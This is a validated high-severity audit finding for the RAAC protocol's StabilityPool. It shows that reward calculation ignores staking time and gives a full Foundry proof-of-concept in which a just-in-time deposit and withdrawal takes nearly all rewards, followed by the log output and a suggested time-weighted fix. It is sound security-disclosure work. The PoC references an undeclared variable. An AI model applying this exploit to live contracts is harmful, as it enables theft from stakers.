Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

StabilityPool reward distribution is frontrunnable

Description

The lack of Time-Weighted reward calculation in StabilityPool.sol allows malicious users to continuously drain the majority of rewards, resulting in an unfair reward distribution compared to long-time staking users.

Vulnerable Code & Details

StabilityPool::calculateRaacRewards:

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

As you can clearly see in above calculation, any consideration for the time a user has staked is missing, the only thing on which the calculation is based is the deposit amount at the time of withdraw. Therefor a user can potentially use flashloans or other high liquidity, provide it for the transaction and immediately withdraw it afterwards, harming a fair reward distribution and taking away the incentives for users to stake at all.

PoC

Since the PoC is a foundry test I have added a Makefile at the end of this report to simplify installation for your convenience. Otherwise if console commands would be prefered:

First run: npm install --save-dev @nomicfoundation/hardhat-foundry

Second add: require("@nomicfoundation/hardhat-foundry"); on top of the Hardhat.Config file in the projects root directory.

Third run: npx hardhat init-foundry

And lastly, you will encounter one of the mock contracts throwing an error during compilation, this error can be circumvented by commenting out the code in entirety (ReserveLibraryMocks.sol).

And the test should be good to go:

After following above steps copy & paste the following code into ./test/invariant/PoC.t.sol and run forge test --mt test_PocFrontrunRewardDistro -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";
import {CrvUSDToken} from "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import {RAACHousePrices} from "../../contracts/core/oracles/RAACHousePriceOracle.sol";
import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";
import {RToken} from "../../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../../contracts/core/tokens/DEToken.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {RAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
contract PoC is Test {
StabilityPool public stabilityPool;
LendingPool public lendingPool;
CrvUSDToken public crvusd;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
RToken public rToken;
DebtToken public debtToken;
DEToken public deToken;
RAACToken public raacToken;
RAACMinter public raacMinter;
address owner;
address oracle;
address user1;
address user2;
address user3;
uint256 constant STARTING_TIME = 1641070800;
uint256 public currentBlockTimestamp;
uint256 constant WAD = 1e18;
uint256 constant RAY = 1e27;
function setUp() public {
vm.warp(STARTING_TIME);
currentBlockTimestamp = block.timestamp;
owner = address(this);
oracle = makeAddr("oracle");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
uint256 initialPrimeRate = 0.1e27;
raacHousePrices = new RAACHousePrices(owner);
vm.prank(owner);
raacHousePrices.setOracle(oracle);
crvusd = new CrvUSDToken(owner);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
vm.prank(owner);
crvusd.setMinter(owner);
vm.prank(owner);
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
stabilityPool = new StabilityPool(address(owner));
deToken.setStabilityPool(address(stabilityPool));
raacToken = new RAACToken(owner, 0, 0);
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
stabilityPool.initialize(address(rToken), address(deToken), address(raacToken), address(raacMinter), address(crvusd), address(lendingPool));
vm.prank(owner);
raacToken.setMinter(address(raacMinter));
crvusd.mint(address(attacker), type(uint128).max);
crvusd.mint(user1, type(uint128).max);
crvusd.mint(user2, type(uint128).max);
crvusd.mint(user3, type(uint128).max);
}
function test_PocFrontrunRewardDistro() public {
/// Setting up staking users at a known block
vm.roll(10);
vm.startPrank(user1);
crvusd.approve(address(lendingPool), type(uint128).max);
rToken.approve(address(stabilityPool), type(uint128).max);
lendingPool.deposit(20e18);
assertEq(rToken.totalSupply(), 20e18);
stabilityPool.deposit(20e18);
vm.stopPrank();
vm.startPrank(user2);
crvusd.approve(address(lendingPool), type(uint128).max);
rToken.approve(address(stabilityPool), type(uint128).max);
lendingPool.deposit(20e18);
stabilityPool.deposit(20e18);
vm.stopPrank();
/// Moving the block 1 year ahead so rewards will accumulate
vm.roll(2628000);
/// Executing the frontrun of user3
vm.startPrank(user3);
crvusd.approve(address(lendingPool), type(uint128).max);
rToken.approve(address(stabilityPool), type(uint128).max);
lendingPool.deposit(type(uint128).max);
stabilityPool.deposit(type(uint128).max);
stabilityPool.withdraw(type(uint128).max);
vm.stopPrank();
vm.prank(user1);
stabilityPool.withdraw(20e18);
vm.prank(user2);
stabilityPool.withdraw(20e18);
/// logging the users raac balances
console.log("User 3 Frontrun Balance: ", raacToken.balanceOf(user3));
console.log("User 1 Balance: ", raacToken.balanceOf(user1));
console.log("User 2 Balance: ", raacToken.balanceOf(user2));
}
}

Running above code produces the following console log:

Ran 1 test for test/invariant/PoC.t.sol:PoC
[PASS] test_PocFrontrunRewardDistro() (gas: 988216)
Logs:
User 3 Frontrun Balance: 341548620034722221031593
User 1 Balance: 20074
User 2 Balance: 20075

As you can clearly see in the log, even User 1 and User 2 were staking 20k rTokens for roughly 1 year (estimated via the 7200 blocks per day proposed within the protocol), but user3 who frontran their withdraws took most of the rewards staking for only 1 transaction, leaving the long-term stakers with crumbs.

Impact

Staking Rewards within RAACs contract system are supposed to attract liquidity, which is needed to liquidate potential users, since liquidation in the protocol is strictly INTERNAL.
With the rewards being front-runnable within a single transaction Users lose the incentive to stake their tokens, leaving the protocol with insufficient liquidity for liquidations, directly affecting the health of the protocol, therefore, even though reward MEVs are usually considered a medium, I will rate this as a High, because of above mentioned liquidity issues for internal liquidations.

Likelihood: High
Impact: High

Severity: High

Tools Used

Foundry & Manual Review

Recommended Mitigation

Consider using a Time-Weighted-Average calculation for rewards distribution.

Appendix

Copy the following import into your Hardhat.Config file in the projects root dir:
require("@nomicfoundation/hardhat-foundry");

Paste the following into a new file "Makefile" into the projects root directory:

.PHONY: install-foundry init-foundry all
install-foundry:
npm install --save-dev @nomicfoundation/hardhat-foundry
init-foundry: install-foundry
npx hardhat init-foundry
# Default target that runs everything in sequence
all: install-foundry init-foundry

And run make all

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.